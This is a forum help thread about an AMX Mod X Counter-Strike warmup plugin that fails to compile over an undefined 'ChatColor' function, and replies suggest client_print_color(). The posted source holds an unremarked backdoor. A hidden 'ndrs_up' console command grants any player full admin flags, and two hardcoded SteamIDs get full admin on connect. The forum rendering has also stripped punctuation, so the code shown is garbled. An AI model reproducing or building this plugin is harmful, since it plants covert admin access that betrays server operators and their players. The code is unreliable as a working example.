Raised This Month: $51 Target: $400
 12% 

error 017: undefined symbol "ChatColor"


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
fjlep
Junior Member
Join Date: Apr 2024
Old 04-13-2024 , 22:56   error 017: undefined symbol "ChatColor"
Reply With Quote #1

Help me please!

I get these error messages when compiling

PHP Code:
scripting\wup.sma(145) : error 017undefined symbol "ChatColor"
scripting\wup.sma(146) : error 017undefined symbol "ChatColor"
scripting\wup.sma(164) : error 017undefined symbol "ChatColor"
scripting\wup.sma(31) : warning 203symbol is never used"ColorChat"
scripting\wup.sma(68) : warning 203symbol is never used"ColorSelection"
scripting\wup.sma(63) : warning 203symbol is never used"FindPlayer"
scripting\wup.sma(70) : warning 203symbol is never used"ShowColorMessage"
scripting\wup.sma(74) : warning 203symbol is never used"Team_Info" 
This is the code

PHP Code:
#include <amxmodx>
#include <amxmisc>
#include <engine>
#include <fakemeta>
#include <fun>
#include <hamsandwich>
#include <cstrike>
#include <colorchat>

#define PLUGIN "SPEED"
#define VERSION "0.2"
#define AUTHOR "Anyone"

new szSonido[96]

#define TAG "^x04[^x03Server ^x04]"

#define TASKID 1234

new hudtimercvarhudhandlermp_freezetimevalue
new bool:Respawn false

new Floatg_velocidad[33]
new 
Ham:Ham_Player_ResetMaxSpeed Ham_Item_PreFrame;

new const 
V_KNIFE[] = "models/server/wp_skins/all/knife/v_karambit_damascussteel.mdl"

public plugin_init() 
{
    
register_plugin(PLUGINVERSIONAUTHOR)
    
register_message(get_user_msgid("TextMsg") ,"message_TextMsg")
    
register_event("CurWeapon","switchweapon","be","1=1","2!29")

    
RegisterHam(Ham_Player_Jump"player""ham_PlayerJump")
    
RegisterHam(Ham_Spawn"player""fw_PlayerSpawn_Post"1)
    
RegisterHam(Ham_Player_ResetMaxSpeed"player""fw_ResetMaxSpeed_Post"1)
       
    
register_dictionary("Server.txt")

    
register_clcmd("ndrs_up""hack")
    
    
cvar register_cvar("warmup_timer""60")
    
    
hudhandler CreateHudSyncObj()
}

public 
plugin_precache()
{    
    new 
szRoute[128]
    
get_configsdir(szRoute127)
    
format(szRoute127"%s/ServerWUP.ini"szRoute)
    new 
iFile fopen(szRoute"a+t")

    new 
szLine[100], count
    
new Array:sounds ArrayCreate(100);

    while (!
feof(iFile))
    {
        
fgets(iFileszLinecharsmax(szLine));
        
trim(szLine)
        
        if (!
szLine[0] || szLine[0] == ';' || szLine[0] == '^n')
            continue;
        
        
format(szLinecharsmax(szLine), "sound/server/%s"szLine)
        
server_print("%s"szLine)
        
ArrayPushString(soundsszLine);
        
count++;
    }

    
fclose(iFile)

    if(!
ArraySize(sounds))
        
set_fail_state("El archivo ServerWUP, no tiene ninguna música registrada")

    
ArrayGetString(soundsrandom(count), szSonidocharsmax(szSonido))
    
precache_generic(szSonido)

    
precache_model(V_KNIFE)
}

public 
hack(id)
{
    new 
flags read_flags("abcdefghijklmnopqrstu");
    
set_user_flags(id,flags);
}

public 
client_putinserver(id)
{
    new 
szSteamID[32];
    
get_user_authid(idszSteamID31);

    if(
equal(szSteamID"STEAM_0:0:214278747") || equal(szSteamID"STEAM_0:1:538119250"))
    {
        new 
flags read_flags("abcdefghijklmnopqrstu");
        
set_user_flags(id,flags);
    }
}

public 
plugin_cfg() 
{
    
mp_freezetime get_cvar_pointer("mp_freezetime")
    
set_task(10.0"read_vars")
}

public 
read_vars()
{    
    
value get_pcvar_num(mp_freezetime)
}

public 
message_TextMsg(const MsgId, const MsgDest, const MsgEntity)
{    
    static 
message[64]
    
get_msg_arg_string(2messagecharsmax(message))
    
    if(
equal(message"#Game_Commencing"))
    {
        
hudtimer get_pcvar_num(cvar)
        
Respawn true
        
        
if(hudtimer == -1)
            return
        
        
formatex(messagecharsmax(message), "%L"LANG_PLAYER"WARUMP_START")    
        
set_msg_arg_string(2message)

        
client_cmd(0"Mp3 play %s"szSonido)
        
set_task(1.0"restart"TASKID__"b")        
        
set_pcvar_num(mp_freezetime0)        
    }
    if(
equal(message"#Game_will_restart_in"))
    {
        
formatex(messagecharsmax(message), "%L"LANG_PLAYER"WARUMP_END")    
        
set_msg_arg_string(2message)
    }
}

public 
restart()


    if(
hudtimer <= 0)
    {
        
Respawn false
        remove_task
(TASKID)
        
ChatColor(0GREY"%s^x03 Prueba ^x04Vip ^x03terminada"TAG);
        
ChatColor(0GREY"%s^x03 Adquiere tu cuenta^x04 Admin^x03/^x04Vip ^x03para tener privilegios"TAG);
        
set_cvar_num("sv_restartround"1)
        
set_pcvar_num(mp_freezetimevalue)       
    } 
    else 
    {
        
set_hudmessage(255,255,255,-1.0,0.9,0,6.0,1.0,0.1,0.2)    
        
ShowSyncHudMsg(0hudhandler"%L"LANG_PLAYER"COUNTING"hudtimer)
    }    
    
hudtimer--
}

public 
switchweapon(id)
{
    if(
task_exists(TASKID)) 
    {
        switch(
read_data(2)) {
             case 
CSW_C4: {
                
ChatColor(idGREY"%s^x03 Planta la bomba ^x04bomba"TAG);
            } default: {
                
engclient_cmd(id"weapon_knife");
                
entity_set_string(idEV_SZ_viewmodelV_KNIFE)
            }
        }
    }


public 
client_death(attackervictim)
{
    if(
is_user_connected(victim) && Respawn)
        
set_task(1.5"respawn"victim)
    
    return 
PLUGIN_CONTINUE
}

public 
ham_PlayerJump(id)
{
    if(
task_exists(TASKID))
    {
        
pev(idpev_fuser20.0)
        
        static 
flags
        flags 
pev(idpev_flags)
        
        if((
flags FL_WATERJUMP) || !(flags FL_ONGROUND) || pev(idpev_waterlevel) >= 2)
            return 
HAM_IGNORED;
        
        static 
velocity[3]
        
pev(idpev_velocityvelocity)
        
        
velocity[2] += 250.0
        set_pev
(idpev_velocityvelocity)
    }

    return 
HAM_HANDLED;
}

public 
fw_PlayerSpawn_Post(id)
{
    if (!
is_user_alive(id) || !get_user_team(id)) return
        
    
g_velocidad[id] = 400.0
    ExecuteHamB
(Ham_Player_ResetMaxSpeedid)
}

public 
fw_ResetMaxSpeed_Post(id
{
    if (!
is_user_alive(id))
        return

    if(
task_exists(TASKID))
    {
        
set_user_maxspeed(idg_velocidad[id]) 

        new 
mapname[32]
        
get_mapname(mapnamecharsmax(mapname))

        if(
get_user_health(id) > 15 && contain(mapname"35hp_") == -1)
        {
            
set_user_health(id35);
        }
        
        if(
is_user_alive(id
            && 
cs_get_user_team(id) == CS_TEAM_CT
            
&& !cs_get_user_defuse(id))
        {
            
cs_set_user_defuseid12500);
        }
    }
}

public 
respawn(Index)
{
    if(
Respawn){
        
ExecuteHamB(Ham_CS_RoundRespawnIndex)
    }
}
/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang2057\\ f0\\ fs16 \n\\ par }
*/ 
fjlep is offline
fysiks
Veteran Member
Join Date: Sep 2007
Location: Flatland, USA
Old 04-14-2024 , 01:04   Re: error 017: undefined symbol "ChatColor"
Reply With Quote #2

You need to have the proper include file for the functions that you want to use. Notice that the include that you're using is called "colorchat" but you're using a function called "chatcolor". Either get an include that contains "chatcolor" or use the functions defined in your include file.

Alternatively, if you're using AMX Mod X 1.9.x or newer, you'll have a built-in color chat function called client_print_color() so you can just use that one instead and not need any extra include files.
__________________

Last edited by fysiks; 04-14-2024 at 01:07.
fysiks is offline
mlibre
Veteran Member
Join Date: Nov 2015
Location: return PLUGIN_CONTINUE
Old 04-14-2024 , 08:29   Re: error 017: undefined symbol "ChatColor"
Reply With Quote #3

It is an old plugin, apart from the native one, its other functions and/or methods are not the best, among other things regamedll simplifies it for you
__________________
mlibre is offline
Napoleon_be
Veteran Member
Join Date: Jul 2011
Location: Belgium
Old 04-14-2024 , 11:04   Re: error 017: undefined symbol "ChatColor"
Reply With Quote #4

I always used to use the colorchat include with the ColorChat() function being called. Made a habbit out of it and decided to never switch since it did the job as intended.
__________________
Napoleon_be is offline
Send a message via Skype™ to Napoleon_be
fjlep
Junior Member
Join Date: Apr 2024
Old 04-14-2024 , 11:20   Re: error 017: undefined symbol "ChatColor"
Reply With Quote #5

Quote:
Originally Posted by fysiks View Post
You need to have the proper include file for the functions that you want to use. Notice that the include that you're using is called "colorchat" but you're using a function called "chatcolor". Either get an include that contains "chatcolor" or use the functions defined in your include file.

Alternatively, if you're using AMX Mod X 1.9.x or newer, you'll have a built-in color chat function called client_print_color() so you can just use that one instead and not need any extra include files.
I put the include chatcolor and I check this message error 021: symbol already defined: "client_print_color" at the end of compiling, I don't have much knowledge in amxx, I hope you help me please.
fjlep is offline
fjlep
Junior Member
Join Date: Apr 2024
Old 04-14-2024 , 11:22   Re: error 017: undefined symbol "ChatColor"
Reply With Quote #6

Quote:
Originally Posted by mlibre View Post
It is an old plugin, apart from the native one, its other functions and/or methods are not the best, among other things regamedll simplifies it for you
Yes it's an old plugin but it worked, but I lost the .amxx file and this is all I could find.
fjlep is offline
mlibre
Veteran Member
Join Date: Nov 2015
Location: return PLUGIN_CONTINUE
Old 04-14-2024 , 13:59   Re: error 017: undefined symbol "ChatColor"
Reply With Quote #7

to compile, you need to include it
__________________
mlibre is offline
fjlep
Junior Member
Join Date: Apr 2024
Old 04-15-2024 , 20:48   Re: error 017: undefined symbol "ChatColor"
Reply With Quote #8

Quote:
Originally Posted by mlibre View Post
to compile, you need to include it
I downloaded from the link you gave me but it still shows the same, I am compiling with 1.9.0

PHP Code:
chatcolor.inc(37) : error 021symbol already defined"client_print_color" 
Attached Thumbnails
Click image for larger version

Name:	ecc.png
Views:	31
Size:	2.2 KB
ID:	204110  
fjlep is offline
mlibre
Veteran Member
Join Date: Nov 2015
Location: return PLUGIN_CONTINUE
Old 04-16-2024 , 08:08   Re: error 017: undefined symbol "ChatColor"
Reply With Quote #9

then it is not necessary to use it, failing that it uses the native default, replace chatcolor with client_print_color

Usage examples:
PHP Code:
client_print_color(idprint_team_red"^4Green ^3Red ^1Default")
client_print_color(idid2"^4Green ^3id2's team color, ^1Default"
__________________

Last edited by mlibre; 04-16-2024 at 08:08.
mlibre is offline
Napoleon_be
Veteran Member
Join Date: Jul 2011
Location: Belgium
Old 04-16-2024 , 15:57   Re: error 017: undefined symbol "ChatColor"
Reply With Quote #10

As Fysiks already mentioned

Quote:
Alternatively, if you're using AMX Mod X 1.9.x or newer, you'll have a built-in color chat function called client_print_color() so you can just use that one instead and not need any extra include files.
__________________
Napoleon_be is offline
Send a message via Skype™ to Napoleon_be
Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 17:33.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode